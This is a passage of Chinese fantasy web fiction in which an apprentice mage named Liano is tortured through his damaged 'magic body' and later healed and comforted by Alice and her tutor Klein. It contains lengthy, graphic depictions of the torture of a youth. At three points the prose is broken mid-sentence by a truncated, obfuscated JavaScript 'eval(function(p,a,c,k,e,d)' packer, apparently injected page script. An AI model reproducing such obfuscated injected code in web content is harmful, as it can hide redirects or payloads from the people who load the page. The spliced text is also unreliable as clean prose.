即便这样,利亚诺依然死死攥着他的凭证不肯松手,哪怕细链被大力地扯动,使得挂坠的边角戳在他的掌心和指腹,再掀起无数漫长的、尖锐冷硬的刺痛。 “呃啊……别……呜……” 利亚诺咬牙忍耐着,连同腹部那些不断搅动的令人崩溃的折磨一起。 一碗热粥和一觉安眠,仅仅是这一点安慰就让他的心里生出反抗的勇气来。 他再也不想被如此裹挟。 他不会让他的凭证被夺走,不会放弃学习的机会,也不会再听命于用疼痛操纵他的人。 “呵!” 特里迪克喘了口粗气,怒极反笑。 今天这个贱骨头也不知道是吃错什么药了…… 他看得出来,不管被难言的折磨逼出怎样的呜咽,他都没有彻底屈服。 于是他挥挥手驱赶开仍在对着地面施加拳脚的学徒,只留下利亚诺颤抖地在他脚下喘息。 他踩上他紧紧攥着挂坠凭证的右手,用鞋尖一遍又一遍地碾。 “好啊,真有骨气……不愿同流合污?不愿向痛苦低头?是不是觉得自己很了不起啊?” “呜!” 他猛然揪起利亚诺的头发逼着他抬起头看着自己,暗红的瞳色和发色在他的面庞上笼罩出一片无法喘息的阴影。 “你别忘了,你那个破烂的魔法体是托谁的福才能补上的,嗯?我还从来没对你使过最后的手段吧,是不是?” 他危险地低语,用另一只手从外袍里摸出什么。 一个魔药瓶,透明的玻璃透出其中暗红色的液体,仿佛是火焰滚滚燃烧,映照出一圈又一圈复杂的咒文。 “正好,我让科特兹帮我把这个有趣的东西做出来了……” 他满意地欣赏了几眼利亚诺在无法克制的恐惧里颤抖的瞳孔,然后对着利亚诺脆弱的腹部猛一挥手,将某些受控于他的魔力全部抽出—— “今天就让你好好享受!” “呃——!!!” 疼……太疼了…… 有什么……体内有什么东西破碎了…… 只一瞬间,利亚诺就体会到了什么叫彻底崩溃。 身体像断了线的木偶一样再也没有一丝力气,连蜷缩起来发抖都做不到,他很快就叫不出声来,只有承受着疼痛毫无间隔的碾压,任凭生理性的泪水不受控制地涌出。 不要、不要……别再疼了……他什么都愿意做…… 因为这种痛,魔法体的痛……实在太难捱了…… 涣散的视线前方,暗红的玻璃瓶散发着诱人的色泽。 不用解释利亚诺也知道,那里装着特里迪克提前准备的魔力,可以将他破碎的魔法体填补的魔力。 一点点就好,只要有一点点,他就不会再这么痛了…… 但是这将代表他的又一次屈服。 特里迪克绝不可能这样好心地放过他,繁复的咒文绝不可能单单修补他的魔法体,他可以做的手脚太多了,逼他听命于他的操纵、让他失去自我的契约,他可以在咒文里加上任何他想要的东西,这一次他绝不可能像最初那样仁慈。 所以他不可以……他不可以屈服…… 利亚诺死死咬着牙,用最后的理智克制着想要结束痛苦的本能。 可是他绝望地察觉到,自己想要伸出手去。 因为他真的,再也熬不住了…… 即使将软弱的想法压抑、再压抑,想要屈服和解脱的渴望却一次又一次地涌上来。 他恨这样的自己…… “利亚诺!” 逼着自己承受痛苦的每一秒都太过于漫长,利亚诺的全部心力都用来克制住自己的动作,将想要向前伸去的手指无数次空空地抓挠在地面冷硬的石砖上,直到抓出道道血痕。 他没有余力注意特里迪克是何时被引走,也几乎没发现爱丽丝的到来,直到冷汗彻底浸透的脊背被搂在一个温暖的怀抱里,他才被唤回一丝清明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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利亚诺正在她的怀里发抖,抖得厉害,好像被什么痛苦折磨得要疯了,可是他已经再也答不出别的话,只有胡乱的呜咽不断泄出。 贴近的距离让爱丽丝清晰地感受到,他的魔力不知为何正在以不正常的速度逸散,不论怎样搂紧他、按住他的哪一个伤口都无法阻止…… 爱丽丝心慌得快要落泪了,她知道这是会有危险的,等到魔力耗尽他真的会死的! 怎么办……她该怎么办…… “爱丽丝小姐!这是怎么了!” 远处慌忙地出现一个身影,爱丽丝听出是车夫亚伯大叔。 他早早在学院门口等候着要搭乘马车回到梅尔维尔的爱丽丝,却迟迟没有看到她的身影。 赶忙寻来时眼前就是这样的景象,让他完全不知道发生了什么…… “爱丽丝小姐……”他刚想开口询问。 只见爱丽丝猛地抬起头大喊—— “回家!我们带他回家!” 21. 救他! 爱丽丝不敢耽搁。 她拜托亚伯大叔抱起利亚诺,自己则先慌忙狂奔至梅尔维尔的马车,猛然推开车门,摸出外袍口袋中的羽毛笔,趴跪在车厢的地板上就开始写画布满一整个车厢的魔法法阵。 魔力的逸散正在侵蚀利亚诺的生命,她不能什么都不做。 至少要为他画出聚集元素的法阵……魔法体吸收人体周围元素的力量转化为魔力储存在体内,在元素充沛的地方这样的过程会进行得更快,通过法阵来汇聚元素至少能减缓利亚诺魔力逸散的速度! 爱丽丝紧咬着下唇。 她是言灵法师,法阵的研究并不是她的强项,最初学习那些魔法符号时总是需要在图书馆的研讨区向利亚诺请教,即使后来逐渐熟练,她也从没有尝试过在这种毫无准备的情况下直接绘制魔法阵,但是现在……她必须要成功! 她的专注在这一瞬间达到极致,眼神中闪出微微的光亮,挥舞出的流畅的笔划浑然天成,直到描画至法阵最中心处需要填满最后一个符号时—— 她的笔尖骤然一顿! 不对!等等、再想想…… 在她的印象中,利亚诺始终持有水元素和火元素两种元素属性,她即将落笔的也是两种元素的符号。 法阵聚集元素的效率是有限的,所以,一旦画下两种符号,每种元素被法阵所聚集的数量就将减半,即便如此,同时补充所持有的两种元素对利亚诺也理应是更有利的。 但是…… 一幕幕场景交叠着在爱丽丝的眼前重现。 嚣张跋扈的火元素氏族格罗姆康特、不知通过什么方式对利亚诺百般欺凌的特里迪克、利亚诺在施展火元素魔法时与呼唤水元素截然不同的压抑焦躁、特里迪克在离开前给利亚诺施加最后酷刑时的手势和他的阴谋得逞的笑容,还有利亚诺对那瓶暗红色火元素魔药的那般拼命的、痛苦决绝的抵抗…… 难道利亚诺的、他的元素属性其实应该是…… “爱丽丝小姐!” 抱着利亚诺赶来马车的亚伯大叔已经近在咫尺,爱丽丝神经一紧,屏息用已经在心跳下发麻的指尖画下最后一个符号。 随着利亚诺被轻放在马车车厢的中央,法阵的微光亮起,不含任何其他杂质的、充盈的水元素立刻聚集过来,萦绕在他的周身。 “呃……” “利亚诺……利亚诺……” 爱丽丝将利亚诺搂在怀里,紧张地关注他的状态。 似乎是法阵汇聚的水元素起了作用,利亚诺猛然在她怀里大口喘息起来,眼神里也亮起了些微的光亮,就像是溺水的人终于能够浮上水面喘一口气。 但是很快,他又皱着眉紧紧闭上眼睛,即使死死咬住嘴唇也无法阻止喉间泄出的承受不住的呜咽。 爱丽丝从来没有看过这样的利亚诺。 她见过很多次利亚诺忍耐的样子,但哪怕是煎熬到耗尽全身力气,他也总是隐忍地坚持着某种尊严的底线,从没有像现在这样……彻底被无法抵抗地摧残和蹂躏。 她感觉到他再也忍耐不住地往她怀里埋,冰冷颤抖的手指似乎想要攥住她的衣袍,却只有无力地发抖。 这是另一种折磨。 利亚诺已经连呜咽出声的力气都没有,唯有清晰地体会到自己是如何在一点点地崩溃。 破损的魔法体本就在腹部涌起翻覆的剧痛,魔力携着生命力的持续流失更是凌迟般的苦楚。 这种情况下,车厢内法阵所聚集的充盈的水元素可以让他缓一口气,但是魔法体的破损却并不会因此而被修补。 所以,这样勉强可以维持的状态很快成为一种拉锯的折磨,身体不断吸收周围的水元素转化为魔力填补魔法体,刚生成的魔力却又从魔法体的裂缝不断流失。 利亚诺被折磨得要发疯,好像有无数粗糙的绳索在脆弱的腹部不断抽拉,又在他毫无防备的时刻猛然切换方向,让他只有一遍遍地无助地颤抖。 “利亚诺,利亚诺……再稍微忍耐一下……” 爱丽丝感觉自己好像也在发抖。 她不知道自己还能做什么了。 除了这个汇聚元素的法阵,她还将风元素聚集为传递信息的小鸟,并为它提供了足够的魔力,请求它先于马车飞往梅尔维尔领地,将目前的状况告知给领地内的克莱因老师。 然后,她就再也没有任何其他方法为利亚诺减轻痛苦。 回到梅尔维尔的路途绝不能算近,而这一路上的痛苦终归是要他自己熬过去。 “再坚持一下……一下下就好……” 亚伯大叔已经将马赶得很快,车厢内也感受得到道路上的颠簸。 爱丽丝担心利亚诺会因此难受,可是他现在的状态无法离开魔法阵,也绝对没有力气在车厢的坐垫上靠稳。 爱丽丝只有在车厢的地板上紧紧搂住他,搂住他的后脑,搂住他的肩背,将他稳稳地抱在怀里。 不论双手放在哪里,都只能摸到冰凉和颤抖,她真的好害怕…… 爱丽丝不敢往下想,只有更加用力地抱紧他。 * “克莱因老师!拜托、拜托你帮帮利亚诺好不好!” 马车车厢打开的时候,克莱因不得不为眼前的景象而心神一动。 只见爱丽丝维持着抱住利亚诺的姿势一动都不敢动,呼唤和请求帮助的声音带着颤抖,眼角则是焦急的泪痕。 她怀里抱着一个单薄的身躯,兜帽下的面庞毫无血色,浑身几乎已经被冷汗浸透,任谁都能看出已经被折磨到破碎。 “冷静点,爱丽丝!你做得很好,我们现在就对他进行检查和治疗。” 他用有力的手按上她的肩膀,用沉稳的语调平复她的心情。 光是通过风元素小鸟带来的信息,他无法完全摸清利亚诺的情况。 魔力的逸散大概率指向体内的创伤,若是如此,即使是最普通的治愈魔法也需要在风元素探查魔法的辅助下进行。 好在爱丽丝通知得及时,让他有足够的时间提前准备好基础的魔药和法阵,女仆安娜也已经在一旁准备了绷带、毛巾和热水。 他和亚伯大叔协力将爱丽丝怀里的利亚诺抱下,看见利亚诺在痛苦中颤抖的手指仿佛想要拉住爱丽丝的衣角,但是却已经完全没有力气。 爱丽丝立刻跟着跳下马车,托住了利亚诺的手紧握在手心里,没让他的手臂孤单无力地坠落。 注意到这一点的克莱因心绪微微一顿,但此时没有时间留给他细想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“风元素的探查魔法是不会让人感到疼痛的,他对体内运作的魔力有很强的抵触,才会这么难捱。” 克莱因回复爱丽丝的声音冷静而沉着,可他却也同样因这一状况而眉头紧锁。 怎么会,这个孩子到底经历了什么才会对体内的魔法抵触成这样,而且这个魔力的逸散难道真的是…… 爱丽丝的描述、利亚诺的反应,所有的线索逐渐指向一个克莱因不忍考虑的答案。 仿佛验证他的猜想一般,随着他施法的手从利亚诺的胸口向下移动,利亚诺的神情越发痛苦难耐,直到探查至腹部,他的痛呼简直已经变为令人心痛的悲鸣。 克莱因就在那个位置猛然顿住手,突然用力完全拽开利亚诺余下未解开的衬衣,在他的腹部隐约看到魔法的印记。 魔法体的破损,拙劣的修补,以及将人命当作玩物的、抽出用于修补魔法体的魔力的行为…… 一切都说得通了。 但是他们怎么敢,他们怎么敢将这种魔法用在这样的孩子身上! 不、在这之前……他们怎么能将一个孩子折磨到需要忍受这种魔法的地步! 可是现在,为了挽救他的性命,他们除了相同的魔法之外别无选择。 克莱因脸色一暗,沉声道: “爱丽丝!准备施法!” 22. 填补他的伤口 爱丽丝几乎要麻木了。 眼泪从脸颊滚落,又被微凉的秋风吹干,只留下紧绷的痕迹。 她呆呆地看着所有准备施法的过程,看着利亚诺苦苦捱着没有任何消减的疼痛,却要被固定住四肢,被在脆弱的腹部画上法阵,任凭他如何抗拒也无法阻止。 克莱因老师的指挥冷静而稳妥,安娜和亚伯大叔的动作也都很利落,细致的安娜甚至发现了利亚诺手指上严重的挫伤,用毛巾将他的双手包裹起来,防止他在挣扎中加重伤势。 可是这样以来,爱丽丝甚至连他的手都握不到了。 内心的迷茫和犹豫仿佛让她被排除在这个世界之外,只有胸口仍在细细抽痛。 别再让他疼了……他真的要受不了了…… “克莱因老师,这个魔法……这个魔法会让他疼吗?” 感受到肩上有力温暖的双手时,爱丽丝用飘忽的神情轻声问。 而克莱因直视着她的眼眸不愿欺骗。 “会,爱丽丝,他会很疼。修补魔法体的魔法会让他承受常人无法忍受的痛苦,但是你在救他。” 克莱因用灼灼的目光注视着爱丽丝,观察着她的反应。 他不会为了一个素未谋面的孩子而逼迫爱丽丝,如果爱丽丝产生任何一点逃避的情绪,他大可以用汇聚元素的法阵维持住他的生命,再思考其他办法。 但是他已经意识到,这个孩子对爱丽丝来说也许是特殊的,所以…… 爱丽丝闭上眼睛深吸一口气,再睁眼时,眼中已经带着某种坚定的色彩。 “我知道了,克莱因老师,请告诉我该怎么做。” “用你的魔力去感受他的魔法体,那是一个盛放魔力的容器,无法在物理意义上被看见,却可以用魔力去感知。” 克莱因用沉着的语调指引着爱丽丝,好像他们正在进行的是一节普通的魔法实践课。 但这显然比寻常的魔法实践要复杂得多,需要由他展开魔法的阵域,再由爱丽丝在此基础上进行具体的操作。 “你应当能够发现,他的魔法体并不完好,而是存在着破碎的裂缝。” 爱丽丝是他见过魔法天赋最高的孩子,所以当他从爱丽丝的脸上看见哀伤和不忍的神色时,他知道爱丽丝感受到了。 她看见了那个被碎裂的缝隙所折磨的魔法体,看见了利亚诺体内那个隐秘的、脆弱的、承受着煎熬的伤口。 “现在,用你的魔力去填补那些魔法体上的裂痕,尽量让它恢复为想象中原本完好的模样。” 他现在丝毫不怀疑爱丽丝可以做得比他想象的还要好,不论是元素还是魔力都在顺应着她的意志,于是他继续提出更加困难的指示。 “慢一点,仔细一点,这样他会好受些。” 爱丽丝运用自己全部的专注力跟随着他的话语,非常慢、非常仔细地去填补利亚诺魔法体上的伤口。 但她知道,克莱因老师至少有一件事在哄骗她: 这根本不可能好受。 魔力每进一寸,她都能感受到利亚诺无法抑制的崩溃。 “呃啊——!!!” 他在漫长的疼痛里忍受着无尽的煎熬。 * “啧,魔力量太少了!” 刚被运送至格罗姆康特领主一族的地牢,利亚诺就被这个脸色阴沉的人灌下一瓶苦涩的魔药。 他后来知道那是格罗姆康特家族的魔法家庭教师科特兹,而他会在这个阴冷的地牢里无数次忍受超出身体极限的痛苦。 而现在,光是承受腹部难熬的憋闷酸胀就已经耗尽了他全部的忍耐力。 科特兹粗暴的手在他的腹部毫不顾忌地按压,羞耻难忍的感受不断翻涌,叫他死咬着最后的尊严才能不去哀求。 可是他很快又被硬生生灌下更多的魔药,然后又是侵犯着敏感神经的粗暴按压,不断反复,直到他再也熬不住地呜咽出声。 科特兹仍沉着脸不满,却好像无法再等,抬手对着利亚诺的腹部猛然施加了某种魔法。 “呃……呜!!” 利亚诺意识到自己正在被夺取魔力。 就像格拉什所接到的消息,他们需要水元素的魔力。 他本想咬紧牙关忍耐,可是腹部陡然升高的空虚感让他几乎不能呼吸,又在片刻之后变成了无法形容的疼痛。 那种痛以难以想象的速度愈演愈烈,让他几乎没有反应的时间就已被逼至极限。 不要……不要……别再继续了…… 他要受不了了……别……! “——!!!” 啪嚓一声,仿佛有什么东西轻轻碎裂。 从未体会过的巨大的痛苦向利亚诺侵袭而来,让他一瞬间彻底崩溃了。 他在科特兹的手下嘶吼、挣扎,可是那种苦楚却丝毫不愿减轻,只是片刻的时间,他就再也无法动弹也无力叫喊,只有在剧痛的折磨下苦苦煎熬,除了颤抖什么都做不到。 科特兹则以一种嫌弃而鄙夷的神情转身离开,将他留在了那片阴冷的、绝望的黑暗中。 * “我说您怎么突然需要水元素呢!” 格拉什讪笑着暗讽。 将人送出之后,他很快发现这一要求并非领主本人所托,而这正是他讨要利益的最好时机。 “哄骗领主夫人、在领主之子身上做魔法实验,结果闹得需要紧急调取水元素的治愈之力,您也真是胆识过人呐!” 对面的科特兹一脸阴沉地盯着他,仿佛不知什么时候就要狠厉地出手,格拉什却早有预料。 “格罗姆康特领主大人虽然潜心魔法,却最在意家族颜面,要是为了这种荒唐事害死了另一个孩子……”他显然已经提前做好了宣扬此事的准备,愿意舍身一搏,“也不知道领主大人会怎么看您呢!” 科特兹冷哼一声,施舍般扔出一卷写了契约的羊皮纸,“让他做格罗姆康特的家仆,我留着他的命。还有什么要求?” “哎呀,瞧您这话说的!”格拉什笑得越发灿烂,“其实吧,您怎么折腾他我都没意见,但是我这个魔法雇佣兵的小作坊,您要是能向领主大人美言几句……当然了,您日后想要什么也都可以随意取用……” 看到科特兹目光微动,格拉什立刻明白这其中大有可商讨的空间,他为表达诚意立刻扭头向一个阴暗的角落,“喂!过来把契约签了!” 阴影中,一个安静得几乎像是死去的躯体狠狠颤抖了一下。 利亚诺一直在听着。 在生命的流逝里,听着他是如何被当作一个货物讲价售卖,任凭那些话语在无边的痛苦中被扭曲拉长。 实际上,格拉什的动作很快,为了给自己争取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他对某些密谋毫不知情,甚至没有意识到自己曾经踏入的危险和身边人的野心。 “特里迪克大人,植入了自己魔力的家仆身上有趣的事情可多着呢,”科特兹带着奸邪的笑容随口献媚,自己也思索着另一些没有地方尝试的魔法和魔药,“别着急,我会慢慢告诉您……” 利亚诺听不见他们的对话。 他只有在惨叫里承受着漫长的疼痛。 * 漫长的疼痛。 利亚诺听到自己的惨叫。 即使有谁轻声哄劝他再忍耐一下,温柔地抚摸他的头和后背想替他拂去痛苦,他还是忍受不了这样漫长而令人绝望的疼痛。 但是这次……好像有什么不一样。 腹部那个无法触碰的脆弱的伤处,传来的似乎不再是横冲直撞的痛苦。 一股柔和魔力慢慢地渗透进来,耐心而细致地修补了所有的破损,在他无法克制的崩溃的哭喊里温柔而坚定地填满了每一处裂缝,贴合得好像原本就属于那里一样。 于是,当那些魔力慢慢退出的时候,长久折磨他的魔法体的疼痛第一次烟雾般消散了,利亚诺的意识在无尽的疲惫里沉入黑暗中。 他感觉到自己好像被谁搂在一个温柔的怀抱里,有一只温暖的手轻放在他受尽煎熬的腹部,几滴温热的液体滴落在他的脸颊。 但是他太累了。 他希望自己不要醒来了。 23. 治愈昏睡的他 利亚诺的愿望没有实现。 他已经无力捕捉时间的流速,只有在意识的浮浮沉沉里感觉到自己挣扎着快要醒来。 这种感觉并不好受。 魔法体碎裂的剧痛已经消散了,只泛着受到治疗后隐隐的余痛,胃部痉挛的疼痛却开始打搅,发泄着在先前的煎熬中无法消化的压力和恐惧。 可是利亚诺全身的每一处都酸软得动弹不得,虚弱和无力甚至让他无法蜷缩起身体去缓解这些不适,只有沉默地忍耐腹部那些冷硬的抽痛。 他在昏睡里无数次委屈得想要皱眉。 每当这些时候,总有一只温暖的手在他的腹部轻揉。 利亚诺会下意识地因为这种无法预料的触碰而浑身紧绷。 他控制不住自己的反应,他被伤害太多次了,尤其是在这个脆弱的地方,每次被触碰都会被灌下令他忍耐到崩溃的苦楚。 所以他下意识地恐惧、咬牙、急促地喘息…… 但是对方好像并不介意。 她会更温柔更耐心地去轻揉他捱着痛苦的腹部,直到那些痉挛都被安抚软化、在舒适的温暖里心甘情愿地偃旗息鼓。 很多次都是如此,在忍耐腹痛的时候、在噩梦来袭的时候、在他不安地挣扎的时候,总有她的安抚让他平静下来。 于是利亚诺也被哄劝着沉沉睡去。 “利亚诺……” 等到意识终于慢慢彻底浮上水面时,利亚诺听到她的声音。 朦胧的视线逐渐映出那个让他安心的身影,他感觉到自己松了一口气。 她的手正握着他的,温暖柔软的手指在他的手腕内侧轻轻摩挲,让他感到熟悉和放松。 她真实地存在于这里。 “还有哪里疼吗?……你伤得很重。” 爱丽丝用担忧的神色望着他,简直不忍回想。 * “你做得很好,爱丽丝,他的魔法体修补已经完成了,不会再有生命危险。” 干净整洁的房间内,安娜正铺着几层治疗隔离用的被单,亚伯大叔则准备将已经昏厥的利亚诺小心安置在床上。 克莱因站在门口等待着这些准备工作的完成,同时转过头轻声安抚爱丽丝。 “接下来就是常规的治疗,交给我就可以,爱琳娜很快也要赶回来了。” 他知道爱丽丝一定也已经很疲惫了,可是她却没有离开去休息,也没有像往常一样去门口张望姐姐的身影,等着扑到她怀里撒娇。 “克莱因老师,拜托让我也一起帮忙好吗?” 爱丽丝要求参与利亚诺的治疗。 她的眼中是沉静的琥珀色,仿佛沉淀着某种力量、蕴含着某种要守护什么的觉悟。 克莱因意识到,有什么变化在她身上发生了,他在片刻犹豫后点头答应。 爱丽丝几乎已经完全冷静下来。 她接过安娜拿来的热毛巾,擦了擦脸上的泪痕。 清洁双手准备为利亚诺进行治疗时,她又向克莱因询问起魔法体修补的细节。 她不愿利亚诺继续痛苦,为此她可以坚强起来。 也许是观察到她的状态,克莱因老师顺了她的意,试图从魔法的角度,用更平静的方式去表达这些必然会让她感到心痛的事实。 “魔法体的修补是不被主流推崇的魔法。首先,将魔法体消耗至碎裂这种情况,没有另一个施法者的逼迫是很难发生的,这本就为人不齿。其次…… “你应当能感觉到,那些用于为他治疗的魔力虽然留存在他的体内,但控制权依然在你手中。当然会有一些限制,你必须要能够意识到和感受到它们的存在才可以去操纵它们。但是在魔法体这样敏感的地方,只需要将魔力稍微拨动,哪怕一丝一毫都可以轻易让他痛苦。” 克莱因知道爱丽丝绝不会这么做,但也能够推测得出,格罗姆康特家族的人必然会时时用这样的方式折磨利亚诺。 他还是无声地叹了一口气,“……不知道他是怎么熬过来的。” 爱丽丝没有再流泪,但是她的心里难过得要滴血。 她终于知道利亚诺一直以来在忍受着什么,终于知道那些被特里迪克唤起的无法理解的痛苦来源于何处,但这还没有结束。 “不仅如此,如果就像你所说的,他之前是被属性相对的火元素修补了魔法体,那么他不仅会更难熬,还会在魔力的使用上遇到极大的困难。我不知道那些家伙是用什么方法来应对他身上的这个问题,但是可以肯定的是……每次强行让滞涩的魔力流动起来,他都需要忍受极大的痛苦。” 她想起利亚诺指尖那些让她感到美的魔法。 原来从第一次见到他开始,他就一直在忍着痛,每一次手指的颤抖都是他在痛苦中逼迫着魔力流动。 而他就只有这样隐忍地承受着,魔法的痛,还有……身体的痛。 房间内燃起温暖的炉火,利亚诺的全部衣料被轻柔地解开。 不只是胸腹,单薄的躯体上,不论是哪里都是层叠的伤口,娇嫩脆弱的地方尤其狠厉。 爱丽丝拿着绷带和药水不知道该怎么下手,克莱因老师每一个仅仅是检查伤口的动作都看得她心里发痛,但是更糟的情况还在继续发生。 “啧……这些伤口被魔药侵蚀过,又被他自己用冰晶草去强行压制,已经无法看出原本魔药的构成了。”克莱因顿时语气生硬,“先用治愈魔法治疗!” “但是、但是他不是很抗拒体内的魔法吗?” 爱丽丝不得不立刻提出异议,而这绝非是由于她的软弱和不忍。 利亚诺因风元素探查魔法而痛苦挣扎的样子还在她眼前,她从没有那么庆幸自己并未对利亚诺使用过治愈魔法,因为他的恐惧和痛苦是那样不可抑制。 “他的伤太严重了!在魔药的影响下完全没有愈合过!” 克莱因很少这样疾声厉色,他也吸了口气冷静了一下,“但是你说得对,他现在的身体状态撑不住这么多治愈魔法……” “我们必须用治愈魔法让那些被魔药侵蚀过的伤口愈合,其他的伤口则用普通的药剂包扎,等待身体自行恢复。” 克莱因定下了治疗的方针,是最好的方式,却也是别无他法的残忍的方式。 爱丽丝请求水元素将净化和治愈之力柔和地释放,可是不论她的指尖划过哪一道伤口,周边单薄的肌肉都会在难以忍耐的入侵下克制不住地颤抖。 利亚诺受不了这些在他身上施加的魔力,更别说治愈魔法本就会带来强行愈合伤口的痛苦。 他在昏厥里仍然止不住地呜咽和挣扎,可是这个煎熬的过程却必须要继续,他被按住身体继续承受。 指尖落在那些本就脆弱的地方时,爱丽丝真的觉得他要熬不住了,可是还有下一处伤口,还有再下 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只是这样简单的动作,利亚诺的呼吸就已经开始发抖,额上也渗出冷汗。 “麻烦你……我想……” 他的喘息尚未平息,嗓音也因此前的嘶吼和昏睡而干哑得厉害。 但是他仍然坚持着要做些什么他理应做的,如果无法回报,那么至少解释清楚,哪怕那些原委需要他从噩梦中翻出那些不愿回想的痛苦记忆。 爱丽丝将手轻轻放在他颤抖的手上,用平静的眼神安抚他。 “我知道,我去喊姐姐和克莱因老师过来。” 利亚诺感受得到他们的温和。 和爱丽丝容貌相仿的梅尔维尔领主、还有为他施法的魔法家庭教师,都毫不介意地亲临这个为他准备的房间,用关切的目光打量他,站在门外的女仆甚至端来温水和热汤放在他的床头。 可是他没有动。 他不能接受这样的好意,因为他知道这些都将是错付和徒劳。 只有爱丽丝轻轻握住他的手时,他没有抗拒,可是手指缠满的绷带让他无法真切地感受到她的温暖。 他知道的,他永远无法逃脱绝望的漩涡,所以至少……该让他们知道他们为何会平白付出,该让爱丽丝了解所有的真相。 “我出生于……格罗姆康特边境的小镇……” 于是利亚诺开始冷静地讲述。 他撇开自己的感受去讲述那些他所经历的事实,剖开心里最深最痛的那些伤口,却把痛呼死死压抑、又化为无波澜的陈述语句,即使声音已经在颤抖也没有任何回避。 他怎么可能不去乞求。 被折磨到崩溃的时候,他不止一次地幻想过也许会有人救他。 但是,他总是一次又一次陷入更深的绝望的深渊,易碎的幻梦变成痛苦噩梦,他被罚得更狠。 即使他的魔法体不再需要依靠特里迪克的魔力维持,可是他自己签下的魔法契约、格罗姆康特领地的显赫权势……都不会允许他解脱哪怕片刻的时间。 如利亚诺所料的,房间里陷入长久的沉默。 看看他们的神色就明白了,不会有人救他……哪怕是她。 冰凉的手被捂暖,但是利亚诺不敢再看她的眼睛。 因为那之中的暖色会让他想做不切实际的梦。 24. 哄哄他 “安娜……” 爱丽丝担心地用眼神询问,安娜则向她摇摇头,展示着手中从利亚诺的房门口拿回的餐盘。 他几乎没有吃。 这几天以来都是如此,他以最低的限度进食和饮水,仿佛只是为了不给他们增添麻烦。 在那段残忍的剖白之后,他不再愿意与任何人交谈,哪怕是爱丽丝也不。 余下的伤口承受换药的折磨时,他也只是紧闭双眼咬牙忍着疼痛,连一声闷哼都不允许自己发出,即使硬生生忍耐到浑身颤抖。 爱丽丝有种奇怪的感觉,好像利亚诺身上的伤在逐渐恢复,心却正在枯萎。 她本想为利亚诺留出一些空间,但是担忧一天天增长,让她再也不能坐视不理。 同样在担心的爱琳娜与克莱因对视一眼,对她点了点头。 “利亚诺……利亚诺……!” 爱丽丝预料到她的敲门不会得到回应,却没想到她会听见房内隐约传出的呜咽。 她的呼吸猛地一顿。 她看过利亚诺在换药时皱眉忍痛的痛苦表情,所以更加不敢想象是什么样的痛正逼出他的呜咽,她不能在这个时候让他一个人忍耐。 她不管不顾地推门而入,一个颤抖的身影映入眼帘。 “利亚诺!” 接受治疗后,利亚诺换上了干净柔软的衬衣,稍长的黑发披散在肩头,让他看起来少了几分疏离,多了一些柔和。 但是,没有兜帽的遮盖,他因疼痛而破碎的表情轻易出现在爱丽丝的眼前。 他正弓着身体狼狈地蜷缩在床上,用肿胀的挫伤尚未恢复的手指死死按着胃部,却依旧被某种绞拧的疼痛逼的脸色惨白。 他死咬着嘴唇,却止不住泄出的闷哼和呜咽,额上已全是虚浮的冷汗。 爱丽丝想起来克莱因老师说过,在魔法体的损伤之外,风元素还探查出利亚诺经常受到胃部痉挛的折磨。好在这种伤病除了疼痛之外没有更大的影响,只需修养就可以慢慢恢复,毕竟他对魔药也有着那样深重的恐惧,即使在昏厥时都令人不忍强行灌下。 但是爱丽丝不知道那些痉挛会让他承受这样的痛苦,会让那样隐忍的他都甚至熬不住痛呼。 她立刻来到他的身边。 “呃……!” 感受到爱丽丝的靠近和触碰,利亚诺的身体下意识地僵硬和抗拒,但是对方却依旧坚持地从他弓起的背部轻轻搂住他,用她的体温去温暖他。 “别怕、别怕,我不用魔法……放松点,深呼吸……” 爱丽丝的指尖从他的手腕和掌根下方轻轻滑进去,然后是整只温暖的手温柔而坚定的缓缓深入,直到完全替代他用力到扭曲发颤的手,按压在他冰冷抽痛的腹部。 当那只温暖的手在他脆弱的痛处轻轻地揉动时,利亚诺忍不住呜咽出声。 “稍微忍耐一下,我会慢慢的……放松点,你手上还有伤……” 温柔的触感和安慰让利亚诺在无法喘息的疼痛里也觉得熟悉。 他知道的,在那些昏迷的痛苦中安慰他的一直是她。 但是他无法回报。 他无法决定自己的命运,他甚至不知道是今天还是下一秒,格罗姆康特就会用锁链将他捆绑回那个黑暗的地狱。 恐怖的噩梦像悬在头顶的巨石,让他在极度的精神压力之下以从未有过的频繁程度承受着胃部痉挛的痛楚,直到今天如彻底爆发一般痛到无法忍受。 “呜……” 即便有温暖的手在轻揉,那些绞拧的苦楚也没有办法立刻缓解。 尖锐的疼痛让利亚诺无暇思考其他,有十分钟或二十分钟,他痛得一句话都说不出来,只有忍耐着那些痛楚浑身发抖,以微弱的幅度艰难地呼吸。 但爱丽丝一刻都没有离开过。 她始终耐心地安抚他的痛苦,轻哄着安慰他,在他呜咽哀求般的声音里持续地轻揉那个折磨他的痛处,直到将他冰冷的腹部捂暖了、将那些又硬又痛的痉挛揉开了,他才能够慢慢放松下来,虚弱无力地喘息。 “没用的……” 出口的第一句话,利亚诺的声音还带着明显的颤抖。 不用对他这么好的,他想说。 他终归是要回到那个噩梦中去的。 愈合的伤口会被再次抽打到绽开,消减的痛苦会被十倍百倍地返还,他会在煎熬和崩溃里彻底碎裂。 所以,没有必要再对他好了,因为他已经…… “怎么会没用呢?” 爱丽丝的轻语打断了他的思绪,让他的意识没有再度落入绝望的黑暗中去。 她用温暖干燥的手拂去利亚诺被冷汗粘在脸颊上的发丝,看到他不适应地皱眉瑟缩了一下,就好像从来没有体会过这样温柔的对待一般。 爱丽丝明白,他早就因为太多的痛苦而习惯了隐忍,习惯了忽视自己的感受、强迫自己把那些痛苦全都咽下。 可她不愿意他继续这样令人心疼,所以试图轻声地引导。 “现在有舒服一些吗?是不是没那么疼了?” “……” 是的,他好多了。 